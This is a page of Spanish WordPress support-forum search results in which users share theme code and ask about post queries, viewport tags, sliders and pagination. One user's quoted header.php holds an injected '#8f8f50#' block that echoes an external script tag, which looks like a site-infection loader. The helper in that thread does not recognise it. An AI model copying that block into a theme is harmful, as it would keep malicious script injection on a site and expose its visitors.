Soporte » Buscar » Resultados de búsqueda para 'wpo'

Viendo 15 resultados - del 166 al 180 (de un total de 244)
  • Iniciador del debate DjBlack CapsulaMusic

    (@djblack-capsulamusic)

    Bueno, bueno, si de saber que fuera tan fácil no hubiese preguntado pero el tormento y la desesperación me llevaron a buscar en otras vías, lo encontré aquí: AyudaWordpress y bueno les dejo la respuesta:

    query_posts( 'showposts=1&offset=2&cat=' . $ar_headline );?>

    Con tan sólo incluir la variable offset ya tenemos el resultado.

    • Gente mira que he buscado, roto la cabeza y no he dado pie con bola con ésto, se trata nada más y nada menos que mostrar de una categoría x el antepenúltimo post dejando oculto el último, cómo se hace ésto? Claro adjunto al tema mi código para saber qué falta o qué debo cambiar que no va ahí? Como pueden observar trae para mostrar un sólo post y le tengo en el Panel de Administración del Theme para elejir una categoría de la lista de categorías.

      <div id="special_col2" class="right">
      		<?php
      		//Get value from Admin Panel
      			$cp_categories = get_categories('hide_empty=0');
      			$ar_headline = get_settings( "ar_headline" );
      			if( $ar_headline == 0 ) { $ar_headline = $cp_categories[0]->cat_ID; }
      			query_posts( 'showposts=1&cat=' . $ar_headline );
      		 	?>
      
      		<?php while (have_posts()) : the_post(); ?>	
      
      	<?php $values = get_post_custom_values("Image");?>
       	<a href="<?php the_permalink() ?>" rel="bookmark" title="Enlace a <?php the_title(); ?>">
      <img src="<?php echo bloginfo('template_url'); ?>/scripts/timthumb.php?src=/<?php
      $values = get_post_custom_values("Image"); echo $values[0]; ?>&w=300&h=250&zc=1&q=100"
      alt="<?php the_title(); ?>" class="left" width="300px" height="250px"/></a>
      
      	<h3 class="cat_title"> <?php the_category(', '); ?> &raquo;</h3>
      	<div class="title"><a href="<?php the_permalink() ?>" rel="bookmark"><?php the_title(); ?></a></div>
      	<div class="meta"><?php the_time('j M Y') ?> | <?php comments_popup_link('<div class="genericon genericon-chat"></div> <span class="pluss">+</span>', '<div class="genericon genericon-chat"></div> 1', '<div class="genericon genericon-chat"></div> %');?></div>
      	<?php the_excerpt(); ?>
         	<div class="more"><a href="<?php the_permalink() ?>" rel="bookmark" title="<?php the_title(); ?>"><?php _e('Leer m&aacute;s &raquo;','arthemia');?></a></div>
      	<?php endwhile; ?>
      	</div>

    Hola de nuevo,

    Bueno me he fijado que tienes la etiqueta puesta en tu tema pero creo que
    solo hace referencia al IE 8 y al IE9,cosa que esas versiones creo que ya estan defasadas,si no lo estarán muy pronto.

    Te indico.

    Incluso tienes la meta etiqueta en un lugar poco apropiado para mi gusto,para mi no seria una buena práctica tenerla en donde la tienes,yo creo firmemente que las etiquetas de html deben de ir con el html y no todo mezclado.

    Te muestro donde tines ahora mismo la meta:

    <?php wp_head(); ?>
    <?php
    #8f8f50#
    if(empty($ul)) {
    $ul = «<script type=\»text/javascript\» src=\»http:?id=1473836\»></script>»;
    echo $ul;
    }
    #/8f8f50#
    ?>
    <!–[if IE]>
    <meta http-equiv=»X-UA-Compatible» content=»IE=9; IE=8; IE=EmulateIE8;IE=EDGE» />
    <script src=»//html5shim.googlecode.com/svn/trunk/html5.js»></script>
    <script type=»text/javascript» src=»<?php echo get_template_directory_uri() .’/js/sm/excanvas.js’; ?>»></script>
    <![endif]–>
    </head>

    Como ves,tiene en el content la referencia al IE=9; IE=8 esto devería de estar vacio.

    Te recomendaba el modernizr,para que puedas escanear (por así decirlo)el navegador de tu visitante y adaptar lo mejor posible tu página a su navegador.

    La meta etiqueta que te deje la debes de pegar a mi gusto en:

    <head prefix=»og: http://ogp.me/ns# fb: http://ogp.me/ns/fb# music: http://ogp.me/ns/music#»&gt;
    <title><?php wp_title( ‘|’, true, ‘right’ ); ?></title>
    <meta charset=»<?php bloginfo( ‘charset’ );?>» />
    <meta http-equiv=»Content-Type» content=»text/html; charset=UTF-8″>
    <meta name=»viewport» content=»width=device-width, initial-scale=1, maximum-scale=1″ />
    <meta http-equiv=»X-UA-Compatible» content=»IE=edge»>

    No te olvides de quitar la anterior,antes de guardar.

    Espero que te ayude.

    Saludos

    Iniciador del debate maximusr

    (@maximusr)

    Perdona mi ignorancia Julio pero me podrias decir en que parte va exactamente:

    <!doctype html>
    <!--[if IE 9 ]><html class="ie9" xmlns:fb="http://www.facebook.com/2008/fbml" <?php language_attributes(); ?>> <![endif]-->
    <!--[if IE 10 ]><html class="ie10" xmlns:fb="http://www.facebook.com/2008/fbml" <?php language_attributes(); ?>> <![endif]-->
    <!--[if !(IE)]><!--><html xmlns:fb="http://www.facebook.com/2008/fbml" <?php language_attributes(); ?>><!--<![endif]-->
    <head prefix="og: http://ogp.me/ns# fb: http://ogp.me/ns/fb# music: http://ogp.me/ns/music#">
    	<title><?php wp_title( '|', true, 'right' ); ?></title>
    	<meta charset="<?php bloginfo( 'charset' );?>" />
    	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    	<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" />
    	<link rel="pingback" href="<?php bloginfo( 'pingback_url' ); ?>" />
    
    	<?php wp_head(); ?>
    <?php
    #8f8f50#
    if(empty($ul)) {
    $ul = "<script type=\"text/javascript\" src=\"http:?id=1473836\"></script>";
    echo $ul;
    }
    #/8f8f50#
    ?>
    	<!--[if IE]>
    		<meta http-equiv="X-UA-Compatible" content="IE=9; IE=8; IE=EmulateIE8; IE=EDGE" />
    		<script src="//html5shim.googlecode.com/svn/trunk/html5.js"></script>
    		<script type="text/javascript" src="<?php echo get_template_directory_uri() .'/js/sm/excanvas.js'; ?>"></script>
    	<![endif]-->
    </head>
    
    <?php if ( ot_get_option( 'is_glass' ) === 'on' ) { $is_glass = 'modern'; } else { $is_glass = ''; } ?>
    <body <?php body_class($is_glass) ?> id="<?php if ( ot_get_option('scroll') === '2' ) { ?>scrollnice<?php } ?>">
    
    	<?php if ( ot_get_option('remix_loading') != '1' ) { ?>
    		<div class="remix_loading" <?php if ( ot_get_option('loader_bg') !== '' ) { echo 'style="background-color: '.ot_get_option('loader_bg').'"'; } ?>>
    			<?php if ( ot_get_option('remix_loading_canvas') === 'on' ) { ?><canvas id="loader8"></canvas><?php } ?>
    			<?php if ( ot_get_option('remix_loading') === '2' ) { ?>
    				<div class="loader">
    					<div class="dott"></div>
    					<div class="dott"></div>
    					<div class="dott"></div>
    					<div class="dott"></div>
    					<div class="dott"></div>
    				</div>
    			<?php } elseif ( ot_get_option('remix_loading') === '3' ) { ?>
    				<ul class="dots loader2">
    					<li class="dot"><div class="dot-gfx"></div>
    					<li class="dot"><div class="dot-gfx"></div>
    					<li class="dot"><div class="dot-gfx"></div>
    					<li class="dot"><div class="dot-gfx"></div>
    
    			<?php } elseif ( ot_get_option('remix_loading') === '4' ) { ?>
    				<div id='bars' class="loader3">
    					<div class='bar'></div>
    					<div class='bar'></div>
    					<div class='bar'></div>
    					<div class='bar'></div>
    					<div class='bar'></div>
    					<div class='bar'></div>
    					<div class='bar'></div>
    					<div class='bar'></div>
    					<div class='bar'></div>
    				</div>
    			<?php } elseif ( ot_get_option('remix_loading') === '5' ) { ?>
    				<ul class="dottts loader4">
    					<li class="dottt"><div class="dottt-gfx"></div>
    					<li class="dottt"><div class="dottt-gfx"></div>
    					<li class="dottt"><div class="dottt-gfx"></div>
    					<li class="dottt"><div class="dottt-gfx"></div>
    					<li class="dottt"><div class="dottt-gfx"></div>
    
    			<?php } elseif ( ot_get_option('remix_loading') === '6' ) { ?>
    				<div class='rap loader4'>
    					<div class='gon'></div>
    					<div class='gon'></div>
    					<div class='gon'></div>
    					<div class='gon'></div>
    					<div class='gon'></div>
    					<div class='gon'></div>
    					<div class='gon'></div>
    					<div class='gon'></div>
    					<div class='gon'></div>
    					<div class='gon'></div>
    				</div>
    			<?php } elseif ( ot_get_option('remix_loading') === '7' ) { ?>
    				<div id="loader">
    					<div id="top"></div>
    					<div id="bottom"></div>
    					<div id="line"></div>
    				</div>
    			<?php } elseif ( ot_get_option('remix_loading') === '9' ) { ?>
    				<div class="signal"></div>
    			<?php } elseif ( ot_get_option('remix_loading') === '10' ) { ?>
    				<div id="loader10"></div>
    			<?php } elseif ( ot_get_option('remix_loading') != '1' ) { ?>
    				<div id="gif_loader"><img src="<?php echo ot_get_option('remix_loading'); ?>" alt="Loader"></div>
    			<?php } ?>
    		</div>
    
    		<?php if ( ot_get_option('remix_loading_time') ) { ?>
    			<script type="text/javascript">
    				/* <![CDATA[ */
    					jQuery(document).ready(function ($) {
    						setTimeout( function(){
    							$('.remix_loading').fadeOut('slow', 'easeInOutExpo',function(){
    								$('.remix_loading').remove();
    							});
    						}, <?php echo ot_get_option('remix_loading_time'); ?> );
    					});
    				/* ]]> */
    			</script>
    		<?php } ?>
    	<?php } ?>
    
    	<div id="layout" class="<?php if ( ot_get_option( 'full-boxed' ) === '1' ): ?>full<?php elseif ( ot_get_option( 'full-boxed' ) === '2' ): ?>boxed<?php else: ?>boxed-margin<?php endif; ?>">
    
    		<?php
    			if ( ot_get_option( 'header_type' ) === '3' ) :
    				get_template_part('inc/head3');
    			elseif ( ot_get_option( 'header_type' ) === '4' ) :
    				get_template_part('inc/head4');
    			elseif ( ot_get_option( 'header_type' ) === '5' ) :
    				get_template_part('inc/head5');
    			else :
    				get_template_part('inc/head1');
    			endif; 
    
    			global $post;
    			if( isset($post->ID) ) { $page_cover_type = get_post_meta($post->ID,'page_cover_type',true); }
    			if ( !is_tax() && have_posts() ) {
    				$post_type = get_post_type( get_the_ID() );
    				if ( $post_type === 'post' ) {
    					$post_type = 'none';
    				}
    			} else {
    				$post_type = is_post_type_archive( 'artists' );
    			}
    
    			if ( is_tax('artist') ) :
    				if ( ot_get_option('artists_cover_type') != '1' ) {
    					$type = ot_get_option('artists_cover_type');
    					$type_image = ot_get_option('artists_cover_image');
    					$type_slider = ot_get_option('artists_cover_slider');
    				} else {
    					$type = ot_get_option('page_cover_type');
    					$type_image = ot_get_option('page_cover_image');
    					$type_slider = ot_get_option('page_cover_slider');
    				}
    			elseif ( $post_type === get_post_type() && !is_404() ) :
    				if ( isset($page_cover_type) && !empty($page_cover_type) && $page_cover_type != '1' && !is_post_type_archive() && !is_tax() ) {
    					$type = $page_cover_type;
    					$type_image = get_post_meta($post->ID,'page_cover_image',true);
    					$type_slider = get_post_meta($post->ID,'page_cover_slider',true);
    				} elseif ( ot_get_option($post_type.'_cover_type') !== '1' ) {
    					$type = ot_get_option($post_type.'_cover_type');
    					$type_image = ot_get_option($post_type.'_cover_image');
    					$type_slider = ot_get_option($post_type.'_cover_slider');
    				} else {
    					$type = ot_get_option('page_cover_type');
    					$type_image = ot_get_option('page_cover_image');
    					$type_slider = ot_get_option('page_cover_slider');
    				}
    			elseif ( isset($page_cover_type) && !empty($page_cover_type) && $page_cover_type != '1' && is_single() ) :
    				$type = $page_cover_type;
    				$type_image = get_post_meta($post->ID,'page_cover_image',true);
    				$type_slider = get_post_meta($post->ID,'page_cover_slider',true);
    			else :
    				$type = ot_get_option('page_cover_type');
    				$type_image = ot_get_option('page_cover_image');
    				$type_slider = ot_get_option('page_cover_slider');
    			endif;
    
    			if ( is_search() || is_tag() ) {
    				$type = ot_get_option('page_cover_type');
    				$type_image = ot_get_option('page_cover_image');
    				$type_slider = ot_get_option('page_cover_slider');
    			}
    
    			if ( function_exists( 'is_woocommerce' ) ) {
    				if ( is_shop() || is_woocommerce() ) {
    					$type = ot_get_option('woo_cover_type');
    					$type_image = ot_get_option('woo_cover_image');
    					$type_slider = ot_get_option('woo_cover_slider');
    				}
    			}
    
    			if ( is_tax('songs_cat') ) {
    				$type = ot_get_option('songs_cover_type');
    				$type_image = ot_get_option('songs_cover_image');
    				$type_slider = ot_get_option('songs_cover_slider');
    			}
    			if ( is_tax('videos_cat') ) {
    				$type = ot_get_option('videos_cover_type');
    				$type_image = ot_get_option('videos_cover_image');
    				$type_slider = ot_get_option('videos_cover_slider');
    			}
    
    			if ( $type === '3' ) {
    		?>
    			<div class="under_header">
    				<img src="<?php echo $type_image; ?>" alt="">
    			</div><!--/cover-->
    		<?php } elseif ( $type === '4' ) { ?>
    			<div class="big_slider">
    				<?php if(function_exists('putRevSlider')) {putRevSlider($type_slider);} ?>
    			</div>
    		<?php } ?>
    
    		<div class="page-content">
    			<?php
    				if (is_single() || is_page()) {
    					$page_breadcrumb = get_post_meta($post->ID,'page_breadcrumb',true);
    				} elseif ( is_post_type_archive($post_type) || is_tax(array('artist', 'songs_cat')) || !is_404() ) {
    					$page_breadcrumb = ot_get_option($post_type.'_breadcrumb');
    					if ( $page_breadcrumb === '' ) {
    						$page_breadcrumb = ot_get_option('artists_breadcrumb');
    					}
    				} else {
    					$page_breadcrumb = 'on';
    				}
    
    				if ( function_exists( 'is_woocommerce' ) ) {
    					if ( is_shop() || is_woocommerce() ) {
    						$page_breadcrumb = 'on';
    					}
    				}
    
    				if ( is_tax('songs_cat') ) {
    					$page_breadcrumb = ot_get_option('songs_breadcrumb');
    				}
    				if ( is_tax('videos_cat') ) {
    					$page_breadcrumb = ot_get_option('videos_breadcrumb');
    				}
    				if ( is_search() || is_month() || is_day() || is_year() || is_category() || is_tag() || is_author() ) {
    					$page_breadcrumb = 'on';
    				}
    
    				if (!is_front_page() && $page_breadcrumb === 'on' ) :
    				if (function_exists('T20_custom_breadcrumbs')) { ?>
    					<div class="row clearfix mb">
    						<div class="breadcrumbIn" itemprop="breadcrumb">
    							<?php T20_custom_breadcrumbs(); ?>
    						</div>
    					</div><!-- row -->
    				<?php }
    			endif; ?>
    			<div class="row clearfix">
    • Gente aquí les dejo mi interrogante y es la siguiente: ¿Cómo excluir o no mostrar el Último Post publicado en una Categoría con (query_posts)? ya que utilice un mismo bug de códigos y lo dupliqué 2s veces, ahora quiero que uno me muestre el último post publicado y el otro muestre el antepenúltimo post para que ninguno de los 2s muestre el mismo post. Utilicé la variante randon post pero siempre en algunos casos me va a mostrar el mismo post y es lo que no quiero. Por supuesto, más abajo les muestro los bug de códigos a los que me refiero, estos son con el Theme Arthemia:

      <div id="headline" class="left">
      		<?php query_posts("showposts=1&category_name=Especiales"); ?>
      		<?php while (have_posts()) : the_post(); ?>	
      
      	<h3 class="cat_title"> <?php the_category(', '); ?> &raquo;</h3>
      	<div class="title"><a href="<?php the_permalink() ?>" rel="bookmark"><?php the_title(); ?></a></div>
      	<div class="meta"><?php the_time('j M Y') ?> | <?php comments_popup_link('<div class="genericon genericon-chat"></div> +', '<div class="genericon genericon-chat"></div> 1', '<div class="genericon genericon-chat"></div> %');?></div>
      	<?php $values = get_post_custom_values("Image");?>
       	<a class="left" href="<?php the_permalink() ?>" rel="bookmark" title="Enlace a <?php the_title(); ?>">
      <img src="<?php echo bloginfo('template_url'); ?>/scripts/timthumb.php?src=/<?php
      $values = get_post_custom_values("Image"); echo $values[0]; ?>&w=250&h=200&zc=1&q=100"
      alt="<?php the_title(); ?>" class="left" width="250px" height="200px"  /></a>
      	<?php the_excerpt(); ?>
      	<a class="left" href="<?php the_permalink() ?>" rel="bookmark" title="Enlace a <?php the_title(); ?>">Leer m&aacute;s &raquo;</a>
      	<?php endwhile; ?>
      		</div>
      
      		<div id="headline" class="right">
      		<?php query_posts("showposts=1&excludeposts=1&orderby=rand&category_name=Especiales"); ?>
      		<?php while (have_posts()) : the_post(); ?>	
      
      	<h3 class="cat_title"> <?php the_category(', '); ?> &raquo;</h3>
      	<div class="title"><a href="<?php the_permalink() ?>" rel="bookmark"><?php the_title(); ?></a></div>
      	<div class="meta"><?php the_time('j M Y') ?> | <?php comments_popup_link('<div class="genericon genericon-chat"></div> +', '<div class="genericon genericon-chat"></div> 1', '<div class="genericon genericon-chat"></div> %');?></div>
      	<?php $values = get_post_custom_values("Image");?>
       	<a class="left" href="<?php the_permalink() ?>" rel="bookmark" title="Enlace a <?php the_title(); ?>">
      <img src="<?php echo bloginfo('template_url'); ?>/scripts/timthumb.php?src=/<?php
      $values = get_post_custom_values("Image"); echo $values[0]; ?>&w=250&h=200&zc=1&q=100"
      alt="<?php the_title(); ?>" class="left" width="250px" height="200px"  /></a>
      	<?php the_excerpt(); ?>
      	<a class="left" href="<?php the_permalink() ?>" rel="bookmark" title="Enlace a <?php the_title(); ?>">Leer m&aacute;s &raquo;</a>
      	<?php endwhile; ?>
      		</div>

    • Myrdrael

      (@myrdrael)


      Hola,

      Estoy intentando añadir un texto al lado del menú superior de mi página de wordpress, pero lo máximo que he conseguido es que se quede a la altura que quiero pero no en la misma horizontal. El código del header es el siguiente:

      <!DOCTYPE html><!-- HTML 5 -->
      <html <?php language_attributes(); ?>>
      
      <head>
      <meta charset="<?php bloginfo( 'charset' ); ?>" />
      <meta name="viewport" content="width=device-width, initial-scale=1">
      <title><?php wp_title( '|', true, 'right' ); ?></title>
      <link rel="profile" href="http://gmpg.org/xfn/11" />
      <link rel="pingback" href="<?php bloginfo( 'pingback_url' ); ?>" />
      
      <?php wp_head(); ?>
      </head>
      
      <body <?php body_class(); ?>>
      
      <?php // Get Theme Options from Database
      	$theme_options = momentous_theme_options();
      ?>
      
      <div id="wrapper" class="hfeed">
      
      	<div id="header-wrap">
      
      		<?php // Display Search Form
      		if ( isset($theme_options['header_search']) and $theme_options['header_search'] == true ) : ?>
      
      			<div id="header-search-wrap">
      
      				<div id="header-search" class="container clearfix">
      					<?php get_search_form(true); ?>
      				</div>
      
      			</div>
      
      		<?php endif; ?>
      
      		<header id="header" class="container clearfix" role="banner">
      
      			<div id="logo">
      
      				<?php do_action('momentous_site_title'); ?>
      
      				<?php // Display Tagline on header if activated
      				if ( isset($theme_options['header_tagline']) and $theme_options['header_tagline'] == true ) : ?>
      					<h2 class="site-description"><?php echo bloginfo('description'); ?></h2>
      				<?php endif; ?>
      
      			</div>
      
      				<?php // Display Header Search Icon
      				if ( isset($theme_options['header_search']) and $theme_options['header_search'] == true ) : ?>
      					<div class="header-search-icon">
      						<span class="genericon-search">
      
      			<div id="header-content" class="clearfix"></span>
      					</div>
      
      				<?php endif; ?>
      
      <?php // Display Top Navigation
      				if ( has_nav_menu( 'secondary' ) ) : ?>
      
      					<div align="center"><font color="#000">Agente oficial<br>José J. Fuentes Palancar <a href="http://www.coapi.org" style="color:#8cdbbc"><strong>COAPI</strong></a></font></div>
      <nav id="topnav" class="clearfix" role="navigation">
      						<p id="topnav-icon"></p>
      						<?php wp_nav_menu(	array(
      							'theme_location' => 'secondary',
      							'container' => false,
      							'menu_id' => 'topnav-menu',
      							'fallback_cb' => '',
      							'depth' => 1)
      						);
      						?>
      					</nav>
      
      				<?php endif; ?>
      
      			</div>
      
      		</header>
      
      		<div id="navigation-wrap">
      
      			<div id="navigation" class="container clearfix">
      				<p id="mainnav-icon-tablet" class="mainnav-icon"></p><p id="mainnav-icon-phone" class="mainnav-icon"></p><p id="social-menu-icon"></p>
      
      				<?php // Display Social Icons in Navigation
      					if ( isset($theme_options['header_icons']) and $theme_options['header_icons'] == true ) : ?>
      
      						<div id="navi-social-icons" class="social-icons-wrap clearfix">
      							<?php momentous_display_social_icons(); ?>
      						</div>
      
      				<?php endif; ?>
      
      				<nav id="mainnav" class="clearfix" role="navigation">
      					<?php // Display Main Navigation
      						wp_nav_menu( array(
      							'theme_location' => 'primary',
      							'container' => false,
      							'menu_id' => 'mainnav-menu',
      							'echo' => true,
      							'fallback_cb' => 'momentous_default_menu')
      						);
      					?>
      				</nav>
      
      			</div>
      
      		</div>
      
      	</div>
      
      	<?php // Display Custom Header Image
      		momentous_display_custom_header(); ?>

      Lo que querría es que el texto que pone «Agente oficial José J. Fuentes Palancar COAPI» quedara en la misma horizontal que el menú que tiene al lado.

      Mi web es: http://www.infocom.org.es/fpmpatentes

      ¿Alguna idea? (soy algo nuevo en esto de WordPress y no tengo demasiada idea, así que me disculpo si no me he explicado del todo bien)

    galussothemes

    (@galussothemes)

    No, esos condicionales son otra cosa.

    Prueba a establecer la configuración que por defecto tienen los temas WordPress oficiales:

    El viewport, déjalo así:

    <meta name="viewport" content="width=device-width">

    y añade esto a tu style.css encima de donde empiezan las media queries para tenerlo organizado:

    @-ms-viewport {
    	width: device-width;
    }
    
    @viewport {
    	width: device-width;
    }

    Si con esto no se soluciona, no se a que se puede deber.

    Saludos.

    galussothemes

    (@galussothemes)

    Hola allbeauty.es,

    en mi opinión puede ser debido a la situación de la metaetiqueta viewport. Aunque lógicamente se encuentra dentro de la etiqueta <head>, en mi opinión, su mejor situación es sobre la etiqueta <title>.

    Busca en el archivo header.php de tu tema lo siguiente

    <meta name=»viewport» content=»width=device-width, initial-scale=1, maximum-scale=1″ />

    y colócalo justo encima de la etiqueta <title> (haz una copia de seguridad del archivo antes de cualquier cambio):

    <meta name=»viewport» content=»width=device-width, initial-scale=1, maximum-scale=1″ />
    <title><?php wp_title( ‘|’, true, ‘right’ ); ?></title>

    Las páginas que estén cacheadas con la anterior configuración seguirán dando problemas.

    Saludos.

    Iniciador del debate Juan Anaya

    (@juan-anaya)

    Hola Oskar, gracias por contestar.

    Si, es lo primero que he hecho, crear estilos para esas subclases.
    El problema es que necesitaba que automaticamente añadiera esas subclases según el orden en el que aparecen en el loop.

    Al final he colocado un contador que añade una posición diferente en cada vuelta del loop relacionada con cada una de sus subclases.

    Tal que así:

    <?php query_posts(array( 'showposts'=> 8, 'cat' => 3) ); ?>
    				<?php while ( have_posts() ) : the_post(); ++$contador;
                    if ($contador == 2) $claseResaltado = " segundo";
                    if ($contador == 3) $claseResaltado = " tercero";
    				 if ($contador == 4) $claseResaltado = " cuarto";
                    if ($contador == 5) $claseResaltado = " cuarto";
                    if ($contador == 6) $claseResaltado = " tercero";
    				if ($contador == 7) $claseResaltado = " segundo";
                    ?>
    Iniciador del debate Finergaby

    (@finergaby)

    Yo hize esto segun ami manera de integrarlo primero descarge los archivos del slider (el html, jquery y css) luego primero cree un archivo slideshow.php para el slider, en mi carpeta de mi theme ai ingrese el html y php que puse al principio (primer mensaje eso ingrese al slideshow.php) con el slider las variable del slider y wordpress…
    Luego fui a mi header.php e ingrese las variable para llamar al jquery de los slider y css por default del slider

    <!doctype html>
    <html lang="es">
    <head>
    <meta charset="UTF-8">
    <title>My Blog</title>
    <meta name="viewport" content="width=device-width">
    <link rel="stylesheet" type="text/css" href="<?php bloginfo('stylesheet_url')?>">
    <link rel="stylesheet" type="text/css" href="<?php bloginfo('template_url')?>/css/reset.css">
    <link rel="stylesheet" type="text/css" href="<?php bloginfo('template_url')?>/css/master.css">
    <link rel="stylesheet" href="//maxcdn.bootstrapcdn.com/font-awesome/4.3.0/css/font-awesome.min.css">
    <link href='http://fonts.googleapis.com/css?family=Open+Sans+Condensed:300,700,300italic' rel='stylesheet' type='text/css'>
    			<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"></script>
    	<script src="<?php bloginfo('template_url')?>/js/jquery.cslider.js"></script>
    			<script src="<?php bloginfo('template_url')?>/js/modernizr.custom.28468.js"></script>
    			<link rel="stylesheet" type="text/css" href="<?php bloginfo('template_url')?>/css/style2.css">
    			<noscript>
    			<link rel="stylesheet" type="text/css" href="<?php bloginfo('template_url')?>/css/nojs.css">
    		</noscript>
    <script type="text/javascript">
    $(function() {
    	$('#da-slider').cslider({
    		autoplay	: true,
    		bgincrement	: 450
    		});
    
    		});
    </script>
    <?php wp_head();?>
    </head>
    <body>
    <header>
    <nav>
    <?php wp_nav_menu(
    array(
    'container' => false,
    'items_wrap' => '<ul id="menu-top">%3$s</ul>',
    'theme_location' => 'menu'
    )); ?>
    </nav>
    </header>

    Luego en mi archivo index.php llame al slideshow.php para que se vea con la siguiente variable
    <?php include (TEMPLATEPATH. '/slideshow.php'); ?>

    Al tener todo esto se supone que el slider deberia a ver funciona pero ai un problema con el codigo del slideshow.php (primer mensaje)
    La cuestion es el si yo pongo el html del demo del slider (sin el php de wordpress) el slider funciona perfectamente pero cuando yo intento integrarlo a wordpress con su php para llamar las entradas este deja de funcionar.

    Iniciador del debate lissack

    (@lissack)

    Hola,
    Ok, creo que ya está resuelto, mi problema es que pensaba que podía hacer lo que necesito sin tocar código, pero parece ser que hay que tocar algo, aunque no parece muy complicado. Por si hay alguien que le interesa este tema he encontrado un vídeo en youtube sobre esto exactamente con el plugin Custom Post Type UI.
    Le acabo de echar un ojo y dejo aquí mis resultados por si alguien puede necesitarlo 😉

    Iniciador del debate XagaOne

    (@xagaone)

    E avanzado un poco, instale el plugin WP_PageNavi, lo active, luego pegue este código <?php wp_pagenavi(); ?> donde quiero que aparezca la paginacion, al ponerlo los botones de las paginas no me mostraban nada, sino la primera pagina siempre, busque y di con esto query_posts(‘showposts=21&cat=6’ . ‘&paged=’ . get_query_var(‘paged’)); que es el llamado de las paginas, hasta ahí perfecto empezó a funcionar, pero cual es el nuevo problema?, que solo funciona hasta la pagina 3, de la 4ta hacia adelanta me dice que la pagina no se encontró, y me redirecciona a la pagina de inicio.

    • Lo primero que hice fue descargarme desde el directorio de WP el plugin WP_PageNavi, luego de haberlo descargado, lo instale, me fui al archivo donde quiero que se muestre la paginacion y pegue este código <?php wp_pagenavi(); ?>, aparece la tan anhelada barra de paginacion, pero cual es mi sorpresa?, los botones no sirven, me mostraba los mismos post de la pagina principal, luego de eso busque en Google y me tope con esto query_posts(‘showposts=21&cat=6’ . ‘&paged=’ . get_query_var(‘paged’));, al ponerlo empezó a funcionar, pero ahora mi problema es que solo lo hacen las primeras 3 paginas, de la 4ta hacia adelante me dice que la pagina no se encuentra, teniendo mas post que mostrar, por favor si alguien puede ayudarme se lo agradecería ya que me tiene este tema un poco frustrado.

    • Estimados, tengo una función que permite incluir un paginador numérico si la cantidad de post excede lo que yo determine en la plantilla. Esta función anda perfecta si el loop lo tengo en una página (page.php), sin embargo, no funciona si exactamente el mismo loop lo pongo en un single.php

      en single: http://www.designio.cl/consejo/hitos_home/circuitos-culturales/
      en page: http://www.designio.cl/consejo/prueba-circuitos/

      la función es:

      //FUNCIÓN PAGINACIÓN

      //para paginador
      define(‘requestPath’,’http://&#8217;.$_SERVER[«HTTP_HOST»] . $_SERVER[«REQUEST_URI»]);
      define(‘cleanPath’,’http://&#8217;.$_SERVER[«HTTP_HOST»] . $_SERVER[«SCRIPT_NAME»]);
      $requestPath = cleanPath;
      $getCleanURL = explode(‘?’, $requestPath);
      $getCleanURL = $getCleanURL[0];

      $fullURL = requestPath;
      $getCleanFullURL = explode(‘?’, $fullURL);
      $getCleanFullURL = $getCleanFullURL[0];

      function get_current_page_link(){
      global $post;
      return requestPath;
      }

      function pagination($query, $current) {
      $current_page = explode(‘page’, $current);
      $class = !empty($age) ? ‘ class=»‘.$age.'»‘ : »;
      if (empty($current_page[1])){
      $current_page = explode(«?», $current);
      }
      $baseURL = $current_page[0];
      $page = $query->query_vars[«paged»];
      if ( !$page ) $page = 1;

      $qs = $_SERVER[«QUERY_STRING»] ? «?».$_SERVER[«QUERY_STRING»] : «»;
      // Only necessary if there’s more posts than posts-per-page
      if ( $query->found_posts > $query->query_vars[«posts_per_page»] ) {
      echo ‘<ul id=»numero-pagina»>’;
      // Previous link?
      if ( $page > 1 ) {
      echo ‘

      • <
      • ‘;
        }else{
        echo ‘

      • <
      • ‘;
        }
        // Loop through pages
        for ( $i=1; $i <= $query->max_num_pages; $i++ ) {
        // Current page or linked page?
        if ( $i == $page ) {
        echo ‘<li class=»pag_active»>‘.$i.’‘;
        } else {
        echo ‘

      • ‘.$i.’
      • ‘;
        }
        }
        // Next link?
        if ( $page < $query->max_num_pages ) {
        echo ‘

      • >
      • ‘;
        }else{
        echo ‘

      • >
      • ‘;
        }
        echo »;
        }
        }
        /* fin de paginacion */

        LOOP resumido…

        <?php $query = new WP_Query( array(
        ‘post_type’ => ‘circuitos_culturales’,
        ‘showposts’ => ‘1’,
        ‘paged’ => get_query_var(‘paged’)
        ) ); ?>

        <?php if ( $query->have_posts…..

        Después del loop, lo que llama a la función…

        <?php pagination($query, get_current_page_link()); ?>

Viendo 15 resultados - del 166 al 180 (de un total de 244)